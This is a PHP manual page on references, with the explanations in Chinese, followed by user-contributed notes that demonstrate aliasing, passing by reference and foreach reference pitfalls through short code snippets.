"Note:  Not using the & operator causes a copy of the object to be made. If you use $this in the class it will operate on the current instance of the class. The assignment without & will copy the instance (i.e. the object) and $this will operate on the copy, which is not always what is desired. Usually you want to have a single instance to work with, due to performance and memory consumption issues."
iryoku at terra dot es 30-Mar-2004 10:22
You should have in mind that php4 keep assigned variables "automagically" referenced until they are overwritten. So the variable copy is not executed on assignment, but on modification. Say you have this:

$var1 = 5;
$var2 = $var1; // In this point these two variables share the same memory location
$var1 = 3; // Here $var1 and $var2 have they own memory locations with values 3 and 5 respectively

Don't use references in function parameters to speed up aplications, because this is automatically done. I think that this should be in the manual, because it can lead to confusion.

More about this here:
http://www.zend.com/zend/art/ref-count.php


引用是什么

在 PHP 中引用意味着用不同的名字访问同一个变量内容。这并不像 C 的指针：例如你不能对他们做指针运算，他们并不是实际的内存地址...... 查看引用不是什么了解更多信息。 替代的是，引用是符号表别名。注意在PHP 中，变量名和变量内容是不一样的， 因此同样的内容可以有不同的名字。最接近的比喻是 Unix 的文件名和文件本身——变量名是目录条目，而变量内容则是文件本身。引用可以被看作是 Unix 文件系统中的硬链接。

User Contributed Notes

aldo dot caruso at argencasas dot com 13-Mar-2019 04:50
The following three code snippets show the effect of using references in scalar variables, arrays and objects under different circumstances.

In any case the result is the expected one if you stick to the concept that a reference is an alias to a variable. After assigning by reference ( no matter if $a =& $b or $b =& $a ) both variable names refer to the same variable.

References with scalars

<?php
/*
References are aliases for the same variable
*/

$a = 1;
$b =& $a;

$b = 2;
echo "$a,$b\n"; // 2,2

$a = 3;
echo "$a,$b\n"; // 3,3

// Variables can be bound before being assigned
$c =& $d;
$c = 4;
echo "$c,$d\n"; // 4,4
?>

References with arrays

<?php
/*
Array elements referencing scalar variables
*/

$a = 1;
$b = 2;
$c = array(&$a, &$b);

$a = 3;
$b = 4;
echo "c: $c[0],$c[1]\n"; // 3,4

$c[0] = 5;
$c[1] = 6;
echo "a,b: $a,$b\n"; // 5,6

/*
Reference between arrays
*/

$d = array(1,2);
$e =& $d;

$d[0] = 3;
$d[1] = 4;
echo "e: $e[0],$e[1]\n"; // 3,4

$e[0] = 5;
$e[1] = 6;
echo "d: $d[0],$d[1]\n"; // 5,6

$e = 7;
echo "d: $d\n"; // 7 ( $d is no more an array, but an integer )

/*
Iterating an array of references using foreach construct
*/

$a = 1;
$b = 2;
$f = array(&$a,&$b);

foreach($f as $x) // If $x is assigned by value it doesn't change referred variables.
  $x = 3;
echo "a,b: $a,$b\n"; // 1,2

foreach($f as &$x) // If $x is assigned by reference it changes referred variables.
  $x = 3;
echo "a,b: $a,$b\n"; // 3,3

// Be aware that, after the loop, $x still references $f[1] and so $b
$x = 4;
echo "a,b: $a,$b\n"; // 3,4 ( $b affected )

// To avoid previous side effects it is advisable to unset x, unlinking it from $f[1] and $b
unset($x);
$x = 5;
echo "a,b: $a,$b\n"; // 3,4 ( $b not affected )
?>

References with objects

<?php
/*
Object property referencing a scalar variable
*/

$a = 1;
$b = new stdClass();
$b->x =& $a;

$a = 2;
echo "b->x: $b->x\n"; // 2

$b->x = 3;
echo "a: $a\n"; // 3

/* Reference between objects */
$c = new stdClass();
$c->x = 1;
$d =& $c;

$d->x = 2;
echo "c->x: $c->x\n"; // 2

$d = new stdClass();
$d->y = 3;
echo "c->y: $c->y\n"; // 3
echo "c->x: $c->x\n"; // Undefined property: stdClass::$x
?>
Anonymous 26-Jul-2018 03:11
Unlike in C, PHP references are not treated as pre-dereferenced pointers, but as complete aliases.

The data that they are aliasing ("referencing") will not become available for garbage collection until all references to it have been removed.

"Regular" variables are themselves considered references, and are not treated differently from variables assigned using =& for the purposes of garbage collection.

The following examples are provided for clarification.

1) When treated as a variable containing a value, references behave as expected. However, they are in fact objects that *reference* the original data.

<?php
var = "foo";
$ref1 =& $var; // new object that references $var
$ref2 =& $ref1; // references $var directly, not $ref1!!!!!

echo $ref; // >foo

unset($ref);

echo $ref1; // >Notice:  Undefined variable: ref1
echo $ref2; // >foo
echo $var; // >foo
?>

2) When accessed via reference, the original data will not be removed until *all* references to it have been removed. This includes both references and "regular" variables assigned without the & operator, and there are no distinctions made between the two for the purpose of garbage collection.

<?php
$var = "foo";
$ref =& $var;

unset($var);

echo $var; // >Notice:  Undefined variable: var
echo $ref; // >foo
?>

3) To remove the original data without removing all references to it, simply set it to null.

<?php
$var = "foo";
$ref =& $var;

$ref = NULL;

echo $var; // Value is NULL, so nothing prints
echo $ref; // Value is NULL, so nothing prints
?>

4) Placing data in an array also counts as adding one more reference to it, for the purposes of garbage collection.

For more info, see http://php.net/manual/en/features.gc.refcounting-basics.php
273118949 at qq dot com 07-Oct-2017 04:24
it just likes a person who has two different names.
anon 02-Jan-2017 11:30
In summary, "&$reference" means "do-not-copy-on-write the value here, in perpetuity". Assigning by reference is not assignment, it's "make &$variable a reference and its value do-not-copy-on-write, in perpetuity, and make the variable I'm assigning to use that do-not-copy-on-write value as well".

To "unreference/unalias" you have to either unset or make an explicit copy into a new variable.

Object properties that are references will survive cloning and remain references. Generally the same is true with references in arrays and PHP's array functions (combine, intersect, call_user_func, func_get_args, etc).

Calling a function that uses a reference parameter will *make* the supplied variable a reference. This is also true when using variadic array expansion for arguments; the supplier's array element will become a reference.

Generally, don't use them unless you're dealing with low-level calls, or need an accumulator, etc. For poorly designed functions that use them, give them a copy to mangle.


引用做什么

使用引用执行有三种基本操作： 引用赋值 、 传引用 、 引用返回 。 本节介绍这些操作，并提供进一步阅读的链接。

引用赋值

PHP 的引用允许用两个变量来指向同一个内容。意思是，当这样做时：

<?php
$a =& $b;
?>
这意味着 $a 和 $b 指向了同一个变量。

Note:

$a 和 $b 在这里是完全相同的，这并不是 $a 指向了 $b 或者相反，而是 $a 和 $b 指向了同一个地方。

Note:

如果对一个未定义的变量进行引用赋值、引用参数传递或引用返回，则会自动创建该变量。

Example #1 对未定义的变量使用引用

<?php
function foo(&$var) { }

foo($a); // 创建 $a 并赋值为 null

$b = array();
foo($b['b']);
var_dump(array_key_exists('b', $b)); // bool(true)

$c = new stdClass;
foo($c->d);
var_dump(property_exists($c, 'd')); // bool(true)
?>

同样的语法可以用在返回引用的函数中：

<?php
$foo =& find_var($bar);
?>

在函数内使用相同的语法 不 通过引用返回将会产生错误， 就像将它与 new 运算符的结果一起使用一样。 正如 对象和引用 中所述， 尽管对象是通过指针传递的，但是它们与引用不同。

Warning

如果在一个函数内部给一个声明为 global 的变量赋于一个引用，该引用只在函数内部可见。可以通过使用 $GLOBALS 数组避免这一点。

Example #2 在函数内引用全局变量

<?php
$var1 = "Example variable";
$var2 = "";

function global_references($use_globals)
{
global $var1, $var2;
if (!$use_globals) {
$var2 =& $var1; // 仅在函数内部可见
} else {
$GLOBALS["var2"] =& $var1; // 全局上下文可见
}
}

global_references(false);
echo "var2 is set to '$var2'\n"; // var2 is set to ''
global_references(true);
echo "var2 is set to '$var2'\n"; // var2 is set to 'Example variable'
?>
把 global $var; 当成是 $var =& $GLOBALS['var']; 的简写。从而将其它引用赋给 $var 只改变了本地变量的引用。

Note:

如果在 foreach 语句中给一个具有引用的变量赋值，被引用的对象也被改变。

Example #3 引用与 foreach 语句

<?php
$ref = 0;
$row =& $ref;
foreach (array(1, 2, 3) as $row) {
// 做点什么
}
echo $ref; // 3 - 迭代数组的最后一个元素
?>

虽然不是严格意义上的引用赋值，但使用语言构造 array() 创建的表达式也可以通过在要添加的数组元素加上 & 前缀来表现为这样。例如：

<?php
$a = 1;
$b = array(2, 3);
$arr = array(&$a, &$b[0], &$b[1]);
$arr[0]++; $arr[1]++; $arr[2]++;
/* $a == 2, $b == array(3, 4); */
?>

但是请注意，数组内的引用具有潜在的危险。 在右侧引用正常的赋值（不是通过引用）不会将左侧变为引用， 但是数组内部的引用会保留在这些正常赋值中。 这也适用于调用函数时按值传递数组的情况。例如：

<?php
/* 标量变量赋值 */
$a = 1;
$b =& $a;
$c = $b;
$c = 7; //$c 不是引用；不会改变 $a 或者 $b

/* 数组变量赋值 */
$arr = array(1);
$a =& $arr[0]; //$a 和 $arr[0] 设置了相同的引用
$arr2 = $arr; //不是引用赋值！
$arr2[0]++;
/* $a == 2, $arr == array(2) */
/* 尽量 $arr 不是引用，但是它的内容已经更改！ */
?>
换句话说，数组的引用行为是在逐个元素的基础上定义； 单个元素的引用行为与数组容器的引用状态分离。

传引用

引用做的第二件事是用引用传递变量。这是通过在函数内建立一个本地变量并且该变量在呼叫范围内引用了同一个内容来实现的。例如：

<?php
function foo(&$var)
{
$var++;
}

$a=5;
foo($a);
?>
将使 $a 变成 6。这是因为在 foo 函数中变量 $var 指向了和 $a 指向的同一个内容。更多详细解释见引用传递。

引用返回

引用做的第三件事是引用返回。

User Contributed Notes

dexant9t at gmail dot com 31-Jul-2021 04:10
It matters if you are playing with a reference or with a value

Here we are working with values so working on a reference updates original variable too;

$a = 1;
$c = 22;

$b = & $a;
echo "$a, $b"; //Output: 1, 1

$b++;
echo "$a, $b";//Output: 2, 2 both values are updated

$b = 10;
echo "$a, $b";//Output: 10, 10 both values are updated

$b =$c; //This assigns value 2 to $b which also updates $a
echo "$a, $b";//Output: 22, 22

But, if instead of $b=$c you do
$b = &$c; //Only value of $b is updated, $a still points to 10, $b serves now reference to variable $c

echo "$a, $b"//Output: 10, 22
Anonymous 17-Dec-2015 05:10
to reply to ' elrah [] polyptych [dot] com ', one thing to keep in mind is that array (or similar large data holders) are by default passed by reference. So the behaviour is not side effect. And for array copy and passing array inside function  always done by 'pass by reference'...
admin at torntech dot com 28-Aug-2013 07:58
Something that has not been discussed so far is reference of a reference.
I needed a quick and dirty method of aliasing incorrect naming until a proper rewrite could be done.
Hope this saves someone else the time of testing since it was not covered in the Does/Are/Are Not pages.
Far from best practice, but it worked.

<?php
$a = 0;

$b =& $a;
$a =& $b;

$a = 5;
echo $a . ', ' . $b;
//ouputs: 5,5

echo ' | ';

$b = 6;
echo $a . ',' . $b;
//outputs: 6,6

echo ' | ';
unset( $a );
echo $a . ', ' . $b;

//outputs: , 6

class Product {

    public $id;
    private $productid;

    public function __construct( $id = null ) {
        $this->id =& $this->productid;
        $this->productid =& $this->id;
        $this->id = $id;
    }

    public function getProductId() {
        return $this->productid;
    }

}

echo ' | ';

$Product = new Product( 1 );
echo $Product->id . ', ' . $Product->getProductId();
//outputs 1, 1
$Product->id = 2;
echo ' | ';
echo $Product->id . ', ' . $Product->getProductId();
//outputs 2, 2
$Product->id = null;
echo ' | ';
echo $Product->id . ', ' . $Product->getProductId();
//outouts ,
Oddant 01-Jun-2013 08:07
About the example on array references.
I think this should be written in the array chapter as well.
Indeed if you are new to programming language in some way, you should beware that arrays are pointers to a vector of Byte(s).

<?php $arr = array(1); ?>
$arr here contains a reference to which the array is located.
Writing :
<?php echo $arr[0]; ?>
dereferences the array to access its very first element.

Now something that you should also be aware of  (even you are not new to programming languages) is that PHP use references to contains the different values of an array. And that makes sense because the type of the elements of a PHP array can be different.

Consider the following example :

<?php

$arr = array(1, 'test');

$point_to_test =& $arr[1];

$new_ref = 'new';

$arr[1] =& $new_ref;

echo $arr[1]; // echo 'new';
echo $point_to_test; // echo 'test' ! (still pointed somewhere in the memory)

?>
butshuti at smartrwanda dot org 17-Feb-2013 06:05
This appears to be the hidden behavior: When a class function has the same name as the class, it seems to be implicitly called when an object of the class is created.
For instance, you may take a look at the naming of the function "reftest()": it is in the class "reftest". The behavior can be tested as follows:

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function reftest1()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }

    public function reftest()
    {
       echo "REFTEST() called here!\n";
    }
}

$reference = new reftest();
/*You must notice the above will also implicitly call reference->reftest()*/

$reference->reftest1();
$reference->reftest2();

echo $reference->a."\n"; //Echoes 2, not 3 as previously noticed.
echo $reference->c."\n"; //Echoes 2.
?>

The above outputs:

REFTEST() called here!
2
2

Notice that reftest() appears to be called (though no explicit call to it was made)!
nay at woodcraftsrus dot com 08-Jul-2011 09:35
in PHP you don't really need pointer anymore if you want to share an  object across your program

<?php
class foo{
        protected $name;
        function __construct($str){
                $this->name = $str;
        }
        function __toString(){
                return  'my name is "'. $this->name .'" and I live in "' . __CLASS__ . '".' . "\n";
        }
        function setName($str){
                $this->name = $str;
        }
}

class MasterOne{
        protected $foo;
        function __construct($f){
                $this->foo = $f;
        }
        function __toString(){
                return 'Master: ' . __CLASS__ . ' | foo: ' . $this->foo . "\n";
        }
        function setFooName($str){
                $this->foo->setName( $str );
        }
}

class MasterTwo{
        protected $foo;
        function __construct($f){
                $this->foo = $f;
        }
        function __toString(){
                return 'Master: ' . __CLASS__ . ' | foo: ' . $this->foo . "\n";
        }
        function setFooName($str){
                $this->foo->setName( $str );
        }
}

$bar = new foo('bar');

print("\n");
print("Only Created \$bar and printing \$bar\n");
print( $bar );

print("\n");
print("Now \$baz is referenced to \$bar and printing \$bar and \$baz\n");
$baz =& $bar;
print( $bar );

print("\n");
print("Now Creating MasterOne and Two and passing \$bar to both constructors\n");
$m1 = new MasterOne( $bar );
$m2 = new MasterTwo( $bar );
print( $m1 );
print( $m2 );

print("\n");
print("Now changing value of \$bar and printing \$bar and \$baz\n");
$bar->setName('baz');
print( $bar );
print( $baz );

print("\n");
print("Now printing again MasterOne and Two\n");
print( $m1 );
print( $m2 );

print("\n");
print("Now changing MasterTwo's foo name and printing again MasterOne and Two\n");
$m2->setFooName( 'MasterTwo\'s Foo' );
print( $m1 );
print( $m2 );

print("Also printing \$bar and \$baz\n");
print( $bar );
print( $baz );
?>
elrah [] polyptych [dot] com 27-Jan-2011 10:38
It appears that references can have side-effects.  Below are two examples.  Both are simply copying one array to another.  In the second example, a reference is made to a value in the first array before the copy.  In the first example the value at index 0 points to two separate memory locations. In the second example, the value at index 0 points to the same memory location.

I won't say this is a bug, because I don't know what the designed behavior of PHP is, but I don't think ANY developers would expect this behavior, so look out.

An example of where this could cause problems is if you do an array copy in a script and expect on type of behavior, but then later add a reference to a value in the array earlier in the script, and then find that the array copy behavior has unexpectedly changed.

<?php
// Example one
$arr1 = array(1);
echo "\nbefore:\n";
echo "\$arr1[0] == {$arr1[0]}\n";
$arr2 = $arr1;
$arr2[0]++;
echo "\nafter:\n";
echo "\$arr1[0] == {$arr1[0]}\n";
echo "\$arr2[0] == {$arr2[0]}\n";

// Example two
$arr3 = array(1);
$a =& $arr3[0];
echo "\nbefore:\n";
echo "\$a == $a\n";
echo "\$arr3[0] == {$arr3[0]}\n";
$arr4 = $arr3;
$arr4[0]++;
echo "\nafter:\n";
echo "\$a == $a\n";
echo "\$arr3[0] == {$arr3[0]}\n";
echo "\$arr4[0] == {$arr4[0]}\n";
?>
akinaslan at gmail dot com 08-Jan-2011 05:31
In this example class name is different from its first function and however there is no construction function. In the end as you guess "a" and "c" are equal. So if there is no construction function at same time class and its first function names are the same, "a" and "c" doesn't equal forever. In my opinion php doesn't seek any function for the construction as long as their names differ from each others.

<?php
class reftest_new
{
    public $a = 1;
    public $c = 1;

    public function reftest()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest_new();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 2.
echo $reference->c; //Echoes 2.
?>
Amaroq 16-Jan-2010 03:14
I think a correction to my last post is in order.

When there is a constructor, the strange behavior mentioned in my last post doesn't occur. My guess is that php was treating reftest() as a constructor (maybe because it was the first function?) and running it upon instantiation.

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function __construct()
    {
        return 0;
    }

    public function reftest()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 2.
echo $reference->c; //Echoes 2.
?>
Amaroq 15-Jan-2010 06:08
When using references in a class, you can reference $this-> variables.

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function reftest()
    {
        $b =& $this->a;
        $b = 2;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 2.
echo $reference->c; //Echoes 2.
?>

However, this doesn't appear to be completely trustworthy. In some cases, it can act strangely.

<?php
class reftest
{
    public $a = 1;
    public $c = 1;

    public function reftest()
    {
        $b =& $this->a;
        $b++;
    }

    public function reftest2()
    {
        $d =& $this->c;
        $d++;
    }
}

$reference = new reftest();

$reference->reftest();
$reference->reftest2();

echo $reference->a; //Echoes 3.
echo $reference->c; //Echoes 2.
?>

In this second code block, I've changed reftest() so that $b increments instead of just gets changed to 2. Somehow, it winds up equaling 3 instead of 2 as it should.
strata_ranger at hotmail dot com 26-Sep-2009 03:29
An interesting if offbeat use for references:  Creating an array with an arbitrary number of dimensions.

For example, a function that takes the result set from a database and produces a multidimensional array keyed according to one (or more) columns, which might be useful if you want your result set to be accessible in a hierarchial manner, or even if you just want your results keyed by the values of each row's primary/unique key fields.

<?php
function array_key_by($data, $keys, $dupl = false)
/*
 * $data  - Multidimensional array to be keyed
 * $keys  - List containing the index/key(s) to use.
 * $dupl  - How to handle rows containing the same values.  TRUE stores it as an Array, FALSE overwrites the previous row.
 *
 * Returns a multidimensional array indexed by $keys, or NULL if error.
 * The number of dimensions is equal to the number of $keys provided (+1 if $dupl=TRUE).
 */
{
    // Sanity check
    if (!is_array($data)) return null;

    // Allow passing single key as a scalar
    if (is_string($keys) or is_integer($keys)) $keys = Array($keys);
    elseif (!is_array($keys)) return null;

    // Our output array
    $out = Array();

    // Loop through each row of our input $data
    foreach($data as $cx => $row) if (is_array($row))
    {

      // Loop through our $keys
      foreach($keys as $key)
      {
        $value = $row[$key];

        if (!isset($last)) // First $key only
        {
          if (!isset($out[$value])) $out[$value] = Array();
          $last =& $out; // Bind $last to $out
        }
        else // Second and subsequent $key....
        {
          if (!isset($last[$value])) $last[$value] = Array();
        }

        // Bind $last to one dimension 'deeper'.
        // First lap: was &$out, now &$out[...]
        // Second lap: was &$out[...], now &$out[...][...]
        // Third lap:  was &$out[...][...], now &$out[...][...][...]
        // (etc.)
        $last =& $last[$value];
      }

      if (isset($last))
      {
        // At this point, copy the $row into our output array
        if ($dupl) $last[$cx] = $row; // Keep previous
        else       $last = $row; // Overwrite previous
      }
      unset($last); // Break the reference
    }
    else return NULL;

    // Done
    return $out;
}

// A sample result set to test the function with
$data = Array(Array('name' => 'row 1', 'foo' => 'foo_a', 'bar' => 'bar_a', 'baz' => 'baz_a'),
              Array('name' => 'row 2', 'foo' => 'foo_a', 'bar' => 'bar_a', 'baz' => 'baz_b'),
              Array('name' => 'row 3', 'foo' => 'foo_a', 'bar' => 'bar_b', 'baz' => 'baz_c'),
              Array('name' => 'row 4', 'foo' => 'foo_b', 'bar' => 'bar_c', 'baz' => 'baz_d')
              );

// First, let's key it by one column (result: two-dimensional array)
print_r(array_key_by($data, 'baz'));

// Or, key it by two columns (result: 3-dimensional array)
print_r(array_key_by($data, Array('baz', 'bar')));

// We could also key it by three columns (result: 4-dimensional array)
print_r(array_key_by($data, Array('baz', 'bar', 'foo')));

?>
dnhuff at acm dot org 09-Jun-2008 11:33
In reply to Drewseph using foo($a = 'set'); where $a is a reference formal parameter.

$a = 'set' is an expression. Expressions cannot be passed by reference, don't you just hate that, I do. If you turn on error reporting for E_NOTICE, you will be told about it.

Resolution: $a = 'set'; foo($a); this does what you want.
Drewseph 29-May-2008 04:15
If you set a variable before passing it to a function that takes a variable as a reference, it is much harder (if not impossible) to edit the variable within the function.

Example:
<?php
function foo(&$bar) {
    $bar = "hello\n";
}

foo($unset);
echo($unset);
foo($set = "set\n");
echo($set);

?>

Output:
hello
set

It baffles me, but there you have it.
Amaroq 31-Mar-2008 10:56
The order in which you reference your variables matters.

<?php
$a1 = "One";
$a2 = "Two";
$b1 = "Three";
$b2 = "Four";

$b1 =& $a1;
$a2 =& $b2;

echo $a1; //Echoes "One"
echo $b1; //Echoes "One"

echo $a2; //Echoes "Four"
echo $b2; //Echoes "Four"
?>
charles at org oo dot com 19-Oct-2007 03:59
points to post below me.
When you're doing the references with loops, you need to unset($var).

for example
<?php
foreach($var as &$value)
{
...
}
unset($value);
?>
Hlavac 09-Oct-2007 02:25
Watch out for this:

foreach ($somearray as &$i) {
  // update some $i...
}
...
foreach ($somearray as $i) {
  // last element of $somearray is mysteriously overwritten!
}

Problem is $i contians reference to last element of $somearray after the first foreach, and the second foreach happily assigns to it!
dovbysh at gmail dot com 06-Jul-2007 12:50
Solution to post "php at hood dot id dot au 04-Mar-2007 10:56":

<?php
$a1 = array('a'=>'a');
$a2 = array('a'=>'b');

foreach ($a1 as $k=>&$v)
$v = 'x';

echo $a1['a']; // will echo x

unset($GLOBALS['v']);

foreach ($a2 as $k=>$v)
{}

echo $a1['a']; // will echo x

?>
amp at gmx dot info 08-Jun-2007 10:59
Something that might not be obvious on the first look:
If you want to cycle through an array with references, you must not use a simple value assigning foreach control structure. You have to use an extended key-value assigning foreach or a for control structure.

A simple value assigning foreach control structure produces a copy of an object or value. The following code

$v1=0;
$arrV=array(&$v1,&$v1);
foreach ($arrV as $v)
{
  $v1++;
  echo $v."\n";
}

yields

0
1

which means $v in foreach is not a reference to $v1 but a copy of the object the actual element in the array was referencing to.

The codes

$v1=0;
$arrV=array(&$v1,&$v1);
foreach ($arrV as $k=>$v)
{
    $v1++;
    echo $arrV[$k]."\n";
}

and

$v1=0;
$arrV=array(&$v1,&$v1);
$c=count($arrV);
for ($i=0; $i<$c;$i++)
{
    $v1++;
    echo $arrV[$i]."\n";
}

both yield

1
2

and therefor cycle through the original objects (both $v1), which is, in terms of our aim, what we have been looking for.

(tested with php 4.1.3)
firespade at gmail dot com 03-Apr-2007 07:11
Here's a good little example of referencing. It was the best way for me to understand, hopefully it can help others.

$b = 2;
$a =& $b;
$c = $a;
echo $c;

// Then... $c = 2
php at hood dot id dot au 04-Mar-2007 10:56
I discovered something today using references in a foreach

<?php
$a1 = array('a'=>'a');
$a2 = array('a'=>'b');

foreach ($a1 as $k=>&$v)
$v = 'x';

echo $a1['a']; // will echo x

foreach ($a2 as $k=>$v)
{}

echo $a1['a']; // will echo b (!)
?>

After reading the manual this looks like it is meant to happen. But it confused me for a few days!

(The solution I used was to turn the second foreach into a reference too)
ladoo at gmx dot at 17-Apr-2005 02:05
I ran into something when using an expanded version of the example of pbaltz at NO_SPAM dot cs dot NO_SPAM dot wisc dot edu below.
This could be somewhat confusing although it is perfectly clear if you have read the manual carfully. It makes the fact that references always point to the content of a variable perfectly clear (at least to me).

<?php
$a = 1;
$c = 2;
$b =& $a; // $b points to 1
$a =& $c; // $a points now to 2, but $b still to 1;
echo $a, " ", $b;
// Output: 2 1
?>
php.devel at homelinkcs dot com 15-Nov-2004 03:16
In reply to lars at riisgaardribe dot dk,

When a variable is copied, a reference is used internally until the copy is modified.  Therefore you shouldn't use references at all in your situation as it doesn't save any memory usage and increases the chance of logic bugs, as you discoved.
joachim at lous dot org 10-Apr-2003 03:46
So to make a by-reference setter function, you need to specify reference semantics _both_ in the parameter list _and_ the assignment, like this:

class foo{
   var $bar;
   function setBar(&$newBar){
      $this->bar =& newBar;
   }
}

Forget any of the two '&'s, and $foo->bar will end up being a copy after the call to setBar.


引用不是什么

如前所述，引用不是指针。这意味着下面的结构不会产生预期的效果：

<?php
function foo(&$var)
{
$var =& $GLOBALS["baz"];
}
foo($bar);
?>

这将使 foo 函数中的 $var 变量在函数调用时和 $bar 绑定在一起，但接着又被重新绑定到了 $GLOBALS["baz"] 上面。不可能通过引用机制将 $bar 在函数调用范围内绑定到别的变量上面，因为在函数 foo 中并没有变量 $bar（它被表示为 $var，但是 $var 只有变量内容而没有调用符号表中的名字到值的绑定）。可以使用引用返回来引用被函数选择的变量。

User Contributed Notes

minhtrung2606 at gmail dot com 13-Jun-2019 01:36
<?php
function foo(&$var)
{
    $var =& $GLOBALS["baz"];
}
foo($bar);
?>

Let's re-write the above snippet of code in another way

<?php
$bar = &$var; // At this time, $bar refers to the content to which $var refers which is NULL or empty
$var = & $GLOBALS["baz"]; // At this time, $var changes to refer to another content to which global $baz variable refers. However $bar is still refers to the content of NULL

Expected Result: $bar will hold the content of $var (which is now the content of $baz)
Actual Result: $bar holds a content of NULL or empty. This is what's PHP References does
bravo1romeo 27-Oct-2017 03:58
You can reference values of an array to the values of another array,
however if you change the array by reassigning it, the reference will no longer apply, for example:

<?php
$ref = [1,2,3];
$c = count($ref);
$foo = ['A'];

for($i=0;$i<$c;$i++)
    $foo[] =& $ref[$i];

print_r($foo);
print_r($ref);

$ref = [4,5,6];

print_r($foo);
print_r($ref);
?>

Will output:
Array
(
    [0] => A
    [1] => 1
    [2] => 2
    [3] => 3
)
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Array
(
    [0] => A
    [1] => 1
    [2] => 2
    [3] => 3
)
Array
(
    [0] => 4
    [1] => 5
    [2] => 6
)

Therefore if you want the values to still reference you must set the array values individually to not reassign the array:
<?php
$ref = [1,2,3];
$c = count($ref);
$foo = ['A'];

for($i=0;$i<$c;$i++)
    $foo[] =& $ref[$i];

print_r($foo);
print_r($ref);

$bar = [4,5,6];
foreach($bar as $i => $value)
    $ref[$i] = $value;

print_r($foo);
print_r($ref);
?>

Results:
Array
(
    [0] => A
    [1] => 1
    [2] => 2
    [3] => 3
)
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Array
(
    [0] => A
    [1] => 4
    [2] => 5
    [3] => 6
)
Array
(
    [0] => 4
    [1] => 5
    [2] => 6
)
leonardp122794 at gmail dot com 21-Jul-2017 07:36
I kinda agree with the user above who said that php references were actually quite a bit more like c pointers than JAVA or C++.

And here's why.

They act essentially exactly like pointers.

The difference between unset($x) and free(x) seem to be differences between the unset() and free() operators whether than differences between references and pointers themselves.

Free deallocates the memory on the heap.

Unset simple removes the variable.

Other than that, we're dealing with two very simple constructs here.
Anonymous 06-Jan-2016 12:39
It is possible to do something a bit similar to pointers (like in C), where something like array(&$a) is a pointer to a variable called $a; this value can then be passed around as a value; it is not a variable or an alias or whatever but is an actual value.

You can then use codes such as these to read/write through pointers:
<?php
function get($x) { return $x[0]; }
function put($x,$y) { $x[0]=$y; }
?>
ArticIce(Juice) 07-Aug-2015 06:57
Consider this block of code:

<?php
$arr = ['1', '2', '3', '4'];

foreach ($arr as &$i) {}
echo implode($arr, ', ')."\n";

foreach ($arr as $i) {}
echo implode($arr, ', ')."\n";
?>

which will output
1, 2, 3, 4
1, 2, 3, 3

although it seems no changes were made to the array.

The last item in the array gets overwritten, because reference is replaced by a copy in the second iteration. In more detail, it gets overwritten first by a 1, then by 2, by 3 and again by a 3.

Make sure to do an unset($i) when you run an iteration by copy after an iteration by reference using same variable names!
shuimuqingshu at gmail dot com 13-Mar-2012 02:57
i think the code below can tell the difference between PHP reference and C pointer:

In PHP:
<?php
    $a = 0;
    $b = &a;
    echo $a; //0
    unset($b); // unset $b
    echo $a; //0 it's OK
?>

In C:
#include <stdio.h>
int main(int argc, char const *argv[]) {
    int a = 0;
    int* b = &a;

    printf("%i\n", a); //0
    free(b);              // free b
    printf("%i\n", a); //get error: *** error for object 0x7fff6350da08: pointer being freed was not allocated
}
briank at kappacs dot com 25-Jan-2011 02:38
I think the terminology is tripping people up when it comes to assigning objects.

Try thinking of binding and references like this:

<?php
# Code:
$a = 5; $b =& $a; $c = new stdClass(); $d = $c;

# Behind the scenes symbol table and values:
$global_names = array(
'a' => array('binding' => 0),
'b' => array('binding' => 0),
'c' => array('binding' => 1),
'd' => array('binding' => 2),
);
$values = array(
0 => array('type' => 'scalar', 'value' => 5),
1 => array('type' => 'objId', 'value' => 0),
2 => array('type' => 'objId', 'value' => 0)
);
?>

$a is bound to (or references, or is a reference to) the value at index 0 (scalar 5).
$b is bound to the same thing as $a--the value at index 0 (scalar 5).
$c is bound to the value at index 1 (object ID 0).
$d is bound to the value at index 2 (a separate and distinct value also referring to object ID 0).

When the documentation states that you cannot [re-]bind $bar to something else from within the example function foo, it means you can't change what in my pseudo-engine would be $global_names['bar']['binding']. You can only change $values[$names['var']['binding']] (using "$var ="; the same value referenced/bound by $values[$global_names['bar']['binding']) or $names['var']['binding'] (using "$var =&").

Also consider this code:

<?php
$a = 3; $b =& $a;
function foo (&$c) { $c = new stdClass(); }
function bar () { return new stdClass(); }
function &fum () { return new stdClass(); }
if (!is_object($a)) { echo "\$a does not initially refer to an object\n"; }
foo($b);
echo "\$b ", ($a === $b)? "has not": "has", " been re-bound by foo\n";
if (is_object($a)) { echo "\$a now contains an object identifier\n"; }
$b =& bar();
echo "\$b ", ($a === $b)? "has not": "has", " been re-bound by bar\n";
$b =& fum();
echo "\$b ", ($a === $b)? "has not": "has", " been re-bound by fum\n";
?>

which outputs:

$a does not initially refer to an object
$b has not been re-bound by foo
$a now contains an object identifier
$b has not been re-bound by bar
$b has been re-bound by fum

In other words, the value can be changed but the binding does not (except for returning a reference), exactly as stated.

Object identifiers do make object "values" work like pointers (but not to the extent of C/C++, and not like references).
Anonymous 08-Jul-2010 09:25
I understand this like that:
  The reference in PHP is like creating single pointer at own variable in C/C++ and point at variable ( without pointers arithmetic and we can't get number of variable address in memory).

For example
<?php
$a = 4;
$b = &$a;
$c = &$b;
echo "$a - $b - $c<br>";
// 3 pointers ( a , b , c) point at memory location where  stored value of number is 4.
$c = 5;
echo "$a - $b - $c<br>";
// all variables equals 5;
unset($a);
$c = 6;
echo "$a - $b - $c<br>";
//$a is not exist but it was only pointer ( not real part of memory) so we have to way to get value or change it
?>
----
